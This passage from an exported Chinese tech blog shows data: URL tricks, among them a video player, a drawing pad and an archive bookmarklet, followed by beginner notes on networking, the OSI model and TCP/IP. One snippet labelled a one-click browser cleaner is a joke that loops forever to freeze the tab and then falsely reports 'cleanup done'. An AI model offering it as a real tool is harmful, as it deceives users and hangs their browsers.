class=\"name\"\u003ediv\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e评价:好活。\u003c/p\u003e\u003ch2 id=\"花活2:一键清理浏览器垃圾\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/10/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E4%B8%80%E4%B8%AA%E5%A5%87%E6%80%AA%E7%9A%84Base64%E6%B5%8F%E8%A7%88%E5%99%A8%E8%AE%B0%E4%BA%8B%E6%9C%AC/#%E8%8A%B1%E6%B4%BB2%EF%BC%9A%E4%B8%80%E9%94%AE%E6%B8%85%E7%90%86%E6%B5%8F%E8%A7%88%E5%99%A8%E5%9E%83%E5%9C%BE\" class=\"headerlink\" title=\"花活2:一键清理浏览器垃圾\"\u003e\u003c/a\u003e花活2:一键清理浏览器垃圾\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003e并不(\u003c/p\u003e\u003c/blockquote\u003e\u003cfigure class=\"highlight html\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003edata:text/html;charset=utf-8,\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003escript\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"language-javascript\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e(\u003cspan class=\"number\"\u003e1\u003c/span\u003e){\u003cspan class=\"title class_\"\u003eMath\u003c/span\u003e.\u003cspan class=\"title function_\"\u003erandom\u003c/span\u003e()*\u003cspan class=\"title class_\"\u003eMath\u003c/span\u003e.\u003cspan class=\"title function_\"\u003erandom\u003c/span\u003e()/\u003cspan class=\"title class_\"\u003eMath\u003c/span\u003e.\u003cspan class=\"title function_\"\u003erandom\u003c/span\u003e()}\u003cspan class=\"title function_\"\u003ealert\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#39;清理完成\u0026#39;\u003c/span\u003e);\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003escript\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"花活3:视频播放器\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/10/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E4%B8%80%E4%B8%AA%E5%A5%87%E6%80%AA%E7%9A%84Base64%E6%B5%8F%E8%A7%88%E5%99%A8%E8%AE%B0%E4%BA%8B%E6%9C%AC/#%E8%8A%B1%E6%B4%BB3%EF%BC%9A%E8%A7%86%E9%A2%91%E6%92%AD%E6%94%BE%E5%99%A8\" class=\"headerlink\" title=\"花活3:视频播放器\"\u003e\u003c/a\u003e花活3:视频播放器\u003c/h2\u003e\u003cfigure class=\"highlight html\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003edata:text/html;base64,PCFET0NUWVBFIGh0bWw+DQo8aW5wdXQgdHlwZT0iZmlsZSIgaWQ9ImlucHV0IiBhY2NlcHQ9InZpZGVvLyoiPg0KPGJyPg0KPHZpZGVvIHNyYz0iIiBpZD0idmlkZW8iIGNvbnRyb2xzIGF1dG9wbGF5PjwvdmlkZW8+DQo8c2NyaXB0Pg0KICBpbnB1dC5vbmNoYW5nZSA9ICgpID0+IHsNCiAgICBjb25zdCBmaWxlID0gaW5wdXQuZmlsZXM/LlswXTsNCiAgICBpZiAoZmlsZSkgew0KICAgICAgdmlkZW8uc3JjID0gVVJMLmNyZWF0ZU9iamVjdFVSTChmaWxlKTsNCiAgICB9DQogIH07DQo8L3NjcmlwdD4=\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"花活4:画板\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/10/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E4%B8%80%E4%B8%AA%E5%A5%87%E6%80%AA%E7%9A%84Base64%E6%B5%8F%E8%A7%88%E5%99%A8%E8%AE%B0%E4%BA%8B%E6%9C%AC/#%E8%8A%B1%E6%B4%BB4%EF%BC%9A%E7%94%BB%E6%9D%BF\" class=\"headerlink\" title=\"花活4:画板\"\u003e\u003c/a\u003e花活4:画板\u003c/h2\u003e\u003cfigure class=\"highlight html\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003edata:text/html;base64,PGNhbnZhcyBpZD12PjxzY3JpcHQ+ZD1kb2N1bWVudCxkLmJvZHkuc3R5bGUubWFyZ2luPTAsUD0ib25wb2ludGVyIixjPXYuZ2V0Q29udGV4dGAyZGAsdi53aWR0aD1pbm5lcldpZHRoLHYuaGVpZ2h0PWlubmVySGVpZ2h0LGMubGluZVdpZHRoPTIsZj0wLGRbUCsiZG93biJdPWU9PntmPWUucG9pbnRlcklkKzE7ZS5wcmV2ZW50RGVmYXVsdCgpO2MuYmVnaW5QYXRoKCk7Yy5tb3ZlVG8oZS54LGUueSl9O2RbUCsibW92ZSJdPWU9PntmPT1lLnBvaW50ZXJJZCsxJiZjLmxpbmVUbyhlLngsZS55KTtjLnN0cm9rZSgpfSxkW1ArInVwIl09Xz0+Zj0wPC9zY3JpcHQ+PC9jYW52YXM+\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"花活:一键存档网页\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/10/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E4%B8%80%E4%B8%AA%E5%A5%87%E6%80%AA%E7%9A%84Base64%E6%B5%8F%E8%A7%88%E5%99%A8%E8%AE%B0%E4%BA%8B%E6%9C%AC/#%E8%8A%B1%E6%B4%BB%EF%BC%9A%E4%B8%80%E9%94%AE%E5%AD%98%E6%A1%A3%E7%BD%91%E9%A1%B5\" class=\"headerlink\" title=\"花活:一键存档网页\"\u003e\u003c/a\u003e花活:一键存档网页\u003c/h2\u003e\u003cfigure class=\"highlight html\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ejavascript:location.href=\u0026#34;[https://web.archive.org/save/](https://web.archive.org/save/)\u0026#34;+location.href;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/06/10/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E4%B8%80%E4%B8%AA%E5%A5%87%E6%80%AA%E7%9A%84Base64%E6%B5%8F%E8%A7%88%E5%99%A8%E8%AE%B0%E4%BA%8B%E6%9C%AC/"},{"title":"计网笔记:第一部分-概述","time":"2023-06-09T05:38:14Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"Chap-1-绪论\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86-%E6%A6%82%E8%BF%B0/#Chap-1-%E7%BB%AA%E8%AE%BA\" class=\"headerlink\" title=\"Chap.1.绪论\"\u003e\u003c/a\u003eChap.1.绪论\u003c/h2\u003e\u003ch3 id=\"数据通信\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86-%E6%A6%82%E8%BF%B0/#%E6%95%B0%E6%8D%AE%E9%80%9A%E4%BF%A1\" class=\"headerlink\" title=\"数据通信\"\u003e\u003c/a\u003e数据通信\u003c/h3\u003e\u003cp\u003e\u003cstrong\u003e数据\u003c/strong\u003e是任何格式表示的信息,\u003cstrong\u003e数据通信\u003c/strong\u003e是两台设备间通过介质进行数据交换。效率取决于:\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cstrong\u003e传递性\u003c/strong\u003e:目的地正确\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e准确性\u003c/strong\u003e:数据正确\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e及时性\u003c/strong\u003e:时延可接受\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e抖动性\u003c/strong\u003e:各部分到达时延不相同\u003c/li\u003e\u003c/ol\u003e\u003ch4 id=\"组成\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86-%E6%A6%82%E8%BF%B0/#%E7%BB%84%E6%88%90\" class=\"headerlink\" title=\"组成\"\u003e\u003c/a\u003e组成\u003c/h4\u003e\u003col\u003e\u003cli\u003e报文\u003c/li\u003e\u003cli\u003e发送方\u003c/li\u003e\u003cli\u003e接收方\u003c/li\u003e\u003cli\u003e传输介质\u003c/li\u003e\u003cli\u003e协议\u003c/li\u003e\u003c/ol\u003e\u003ch4 id=\"信息表示\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86-%E6%A6%82%E8%BF%B0/#%E4%BF%A1%E6%81%AF%E8%A1%A8%E7%A4%BA\" class=\"headerlink\" title=\"信息表示\"\u003e\u003c/a\u003e信息表示\u003c/h4\u003e\u003cp\u003e二进制/文本编码\u003c/p\u003e\u003ch4 id=\"数据流\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86-%E6%A6%82%E8%BF%B0/#%E6%95%B0%E6%8D%AE%E6%B5%81\" class=\"headerlink\" title=\"数据流\"\u003e\u003c/a\u003e数据流\u003c/h4\u003e\u003col\u003e\u003cli\u003e单工:数据流向是单向的,比如键盘等输入设备就是单工连接\u003c/li\u003e\u003cli\u003e半双工:同时只能有一个方向的数据流动,无线电设备有的就是这样\u003c/li\u003e\u003cli\u003e全双工:双向车道,同时可以有两个方向的数据流过,比如网线等\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"网络\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86-%E6%A6%82%E8%BF%B0/#%E7%BD%91%E7%BB%9C\" class=\"headerlink\" title=\"网络\"\u003e\u003c/a\u003e网络\u003c/h3\u003e\u003ch4 id=\"分布式处理\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86-%E6%A6%82%E8%BF%B0/#%E5%88%86%E5%B8%83%E5%BC%8F%E5%A4%84%E7%90%86\" class=\"headerlink\" title=\"分布式处理\"\u003e\u003c/a\u003e分布式处理\u003c/h4\u003e\u003ch4 id=\"网络准则\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86-%E6%A6%82%E8%BF%B0/#%E7%BD%91%E7%BB%9C%E5%87%86%E5%88%99\" class=\"headerlink\" title=\"网络准则\"\u003e\u003c/a\u003e网络准则\u003c/h4\u003e\u003cul\u003e\u003cli\u003e性能\u003c/li\u003e\u003cli\u003e可靠性\u003c/li\u003e\u003cli\u003e安全性\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"物理结构\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86-%E6%A6%82%E8%BF%B0/#%E7%89%A9%E7%90%86%E7%BB%93%E6%9E%84\" class=\"headerlink\" title=\"物理结构\"\u003e\u003c/a\u003e物理结构\u003c/h4\u003e\u003cul\u003e\u003cli\u003e连接类型\u003cul\u003e\u003cli\u003e点到点\u003c/li\u003e\u003cli\u003e多点连接\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e物理拓扑结构\u003cul\u003e\u003cli\u003e网状:拥有最高的稳定性\u003c/li\u003e\u003cli\u003e星形\u003c/li\u003e\u003cli\u003e总线\u003c/li\u003e\u003cli\u003e环状\u003c/li\u003e\u003cli\u003e混合型\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"网络模型\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86-%E6%A6%82%E8%BF%B0/#%E7%BD%91%E7%BB%9C%E6%A8%A1%E5%9E%8B\" class=\"headerlink\" title=\"网络模型\"\u003e\u003c/a\u003e网络模型\u003c/h4\u003e\u003cp\u003e当今为止最著名的就是\u003cstrong\u003eOSI模型\u003c/strong\u003e和\u003cstrong\u003e因特网模型\u003c/strong\u003e。\u003c/p\u003e\u003ch4 id=\"网络分类\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86-%E6%A6%82%E8%BF%B0/#%E7%BD%91%E7%BB%9C%E5%88%86%E7%B1%BB\" class=\"headerlink\" title=\"网络分类\"\u003e\u003c/a\u003e网络分类\u003c/h4\u003e\u003cul\u003e\u003cli\u003e局域网-LAN\u003c/li\u003e\u003cli\u003e广域网-WAN\u003c/li\u003e\u003cli\u003e城域网-MAN\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"因特网\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86-%E6%A6%82%E8%BF%B0/#%E5%9B%A0%E7%89%B9%E7%BD%91\" class=\"headerlink\" title=\"因特网\"\u003e\u003c/a\u003e因特网\u003c/h3\u003e\u003cp\u003e历史之类的,太长不看。因特网前身是\u003cstrong\u003eARPANET\u003c/strong\u003e。\u003c/p\u003e\u003ch3 id=\"协议和标准\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86-%E6%A6%82%E8%BF%B0/#%E5%8D%8F%E8%AE%AE%E5%92%8C%E6%A0%87%E5%87%86\" class=\"headerlink\" title=\"协议和标准\"\u003e\u003c/a\u003e协议和标准\u003c/h3\u003e\u003cp\u003e协议,就是规则。标准是协商达成一致的规则。\u003c/p\u003e\u003ch4 id=\"协议\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86-%E6%A6%82%E8%BF%B0/#%E5%8D%8F%E8%AE%AE\" class=\"headerlink\" title=\"协议\"\u003e\u003c/a\u003e协议\u003c/h4\u003e\u003cp\u003e它规定了通信的内容、通信的方式和通信的时间。它的核心要素是语法、语义和时序。\u003c/p\u003e\u003cul\u003e\u003cli\u003e语法:数据的结构或格式\u003c/li\u003e\u003cli\u003e语义:每一个片段或位的含义\u003c/li\u003e\u003cli\u003e时序:报文发送的时间和发送的速率\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"标准\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86-%E6%A6%82%E8%BF%B0/#%E6%A0%87%E5%87%86\" class=\"headerlink\" title=\"标准\"\u003e\u003c/a\u003e标准\u003c/h4\u003e\u003cp\u003e分为事实标准和法定标准。\u003c/p\u003e\u003ch2 id=\"Chap-2-网络模型\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86-%E6%A6%82%E8%BF%B0/#Chap-2-%E7%BD%91%E7%BB%9C%E6%A8%A1%E5%9E%8B\" class=\"headerlink\" title=\"Chap.2.网络模型\"\u003e\u003c/a\u003eChap.2.网络模型\u003c/h2\u003e\u003ch3 id=\"OSI模型\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86-%E6%A6%82%E8%BF%B0/#OSI%E6%A8%A1%E5%9E%8B\" class=\"headerlink\" title=\"OSI模型\"\u003e\u003c/a\u003eOSI模型\u003c/h3\u003e\u003cp\u003e从上到下一共有7层\u003c/p\u003e\u003cul\u003e\u003cli\u003e应用层:使得用户(人或软件)可以访问网络,它负责向应用提供服务\u003cul\u003e\u003cli\u003e具体的服务有:\u003cstrong\u003e网络虚拟终端(ssh等),文件传输、访问和管理,邮件服务、目录服务\u003c/strong\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e表示层:翻译、加密和压缩数据\u003c/li\u003e\u003cli\u003e会话层:对话控制(建立、管理和终止)和同步\u003c/li\u003e\u003cli\u003e传输层:一个报文从一个进程到另一个进程的传递\u003cul\u003e\u003cli\u003e端到端的可靠报文传递,以及差错控制\u003c/li\u003e\u003cli\u003e它负责\u003cstrong\u003e服务点寻址、分段和组装、连接控制、流量控制、差错控制\u003c/strong\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e网络层:将各个分组从源地址传送到目的地址\u003cul\u003e\u003cli\u003eIP协议是不可靠的传输协议\u003c/li\u003e\u003cli\u003e它负责\u003cstrong\u003e逻辑寻址\u003c/strong\u003e和\u003cstrong\u003e路由选择\u003c/strong\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e数据链路层:帧从一跳到下一跳(在节点间)的传递\u003cul\u003e\u003cli\u003e它有\u003cstrong\u003e差错控制\u003c/strong\u003e,\u003cstrong\u003e流量控制\u003c/strong\u003e和\u003cstrong\u003e访问控制\u003c/strong\u003e,也负责位流的\u003cstrong\u003e成帧\u003c/strong\u003e,同时也负责\u003cstrong\u003e物理寻址\u003c/strong\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e物理层:位从一个节点到另一个节点的传递\u003c/li\u003e\u003c/ul\u003e\u003cblockquote\u003e\u003cp\u003eOSI中,只有\u003cstrong\u003e数据链路层和传输层提供流量控制和差错控制\u003c/strong\u003e。\u003c/p\u003e\u003c/blockquote\u003e\u003ch3 id=\"TCP-x2F-IP协议族\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86-%E6%A6%82%E8%BF%B0/#TCP-x2F-IP%E5%8D%8F%E8%AE%AE%E6%97%8F\" class=\"headerlink\" title=\"TCP/IP协议族\"\u003e\u003c/a\u003eTCP/IP协议族\u003c/h3\u003e\u003cp\u003e分为5层,可以是看作简化了OSI的应用层的协议。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230609171458.png\"/\u003e\u003c/p\u003e\u003cp\u003e结构和使用的协议如上图所示。\u003c/p\u003e\u003ch4 id=\"网络层\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86-%E6%A6%82%E8%BF%B0/#%E7%BD%91%E7%BB%9C%E5%B1%82\" class=\"headerlink\" title=\"网络层\"\u003e\u003c/a\u003e网络层\u003c/h4\u003e\u003cp\u003e它使用网际协议\u003cstrong\u003eInternet Protocol\u003c/strong\u003e。而IP使用四个协议:\u003c/p\u003e\u003cul\u003e\u003cli\u003eARP地址解析协议:将逻辑地址和物理地址关联起来\u003c/li\u003e\u003cli\u003eRARP:逆向ARP。用于从物理地址得到逻辑地址\u003c/li\u003e\u003cli\u003eICMP:因特网控制报文协议,主机和网关使用的机制,用来向发送方通知数据报发生的问题\u003c/li\u003e\u003cli\u003eIGMP:因特网组报文协议,将一个报文同时发送给一组接收者\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"传输层\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86-%E6%A6%82%E8%BF%B0/#%E4%BC%A0%E8%BE%93%E5%B1%82\" class=\"headerlink\" title=\"传输层\"\u003e\u003c/a\u003e传输层\u003c/h4\u003e\u003cp\u003e主要有UDP、TCP和SCTP三个协议。其中UDP是无连接的不可靠协议,TCP是面向连接的可靠协议。SCTP则综合了前两者的优点,比较新。\u003c/p\u003e\u003ch4 id=\"应用层\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86-%E6%A6%82%E8%BF%B0/#%E5%BA%94%E7%94%A8%E5%B1%82\" class=\"headerlink\" title=\"应用层\"\u003e\u003c/a\u003e应用层\u003c/h4\u003e\u003cp\u003e相当于OSI的\u003cstrong\u003e会话层+表示层+应用层\u003c/strong\u003e,定义了许多协议,比如\u003cstrong\u003eSMTP,FTP,HTTP(S),DNS,SNMP,TELNET等\u003c/strong\u003e。\u003c/p\u003e\u003ch3 id=\"寻址\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86-%E6%A6%82%E8%BF%B0/#%E5%AF%BB%E5%9D%80\" class=\"headerlink\" title=\"寻址\"\u003e\u003c/a\u003e寻址\u003c/h3\u003e\u003cp\u003eTCP/IP采用四层地址:\u003cstrong\u003e物理链路地址、逻辑地址IP、端口地址和专用地址\u003c/strong\u003e。它们分别和物理层+数据链路层、网络层、传输层、应用层相关联。\u003c/p\u003e\u003ch4 id=\"物理地址\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86-%E6%A6%82%E8%BF%B0/#%E7%89%A9%E7%90%86%E5%9C%B0%E5%9D%80\" class=\"headerlink\" title=\"物理地址\"\u003e\u003c/a\u003e物理地址\u003c/h4\u003e\u003cp\u003e也是链路地址,是网络中的节点地址,标识在网络接口卡(NIC)上。MAC地址一般使用48位(二进制数)地址表示\u003c/p\u003e\u003ch4 id=\"逻辑地址\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86-%E6%A6%82%E8%BF%B0/#%E9%80%BB%E8%BE%91%E5%9C%B0%E5%9D%80\" class=\"headerlink\" 